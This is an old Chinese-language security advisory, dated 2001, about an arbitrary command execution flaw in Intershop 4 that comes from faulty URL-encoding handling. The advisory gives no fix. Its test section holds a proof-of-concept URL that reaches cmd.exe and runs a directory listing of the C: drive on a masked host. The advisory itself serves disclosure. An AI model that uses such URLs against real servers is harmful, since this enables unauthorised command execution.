Intershop4 存在任意命令可执行漏洞发布时间：2001-09-25 更新时间：2001-09-25 严重程度：高 威胁程度：普通用户访问权限 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 Intershop Communications Intershop 4详细描述 Intershop4对URL编码处理存在漏洞，可以导致任意命令可执行。 测试代码 https://www.xxxxxxxx.com/cgi-bin/buy.storefront/3baecb4a00025ad227a4c30e9501 0642/winnt/cmd.exe?/c+dir+c:\ 或者 https://www.xxxxxxxxxx.com/cgi-bin/buy.storefront/3baecb4a00025ad227a4c30e95 010642/hi/hi 解决方案 尚无 相关信息 MegaHz (admin@cyhackportal.com) |
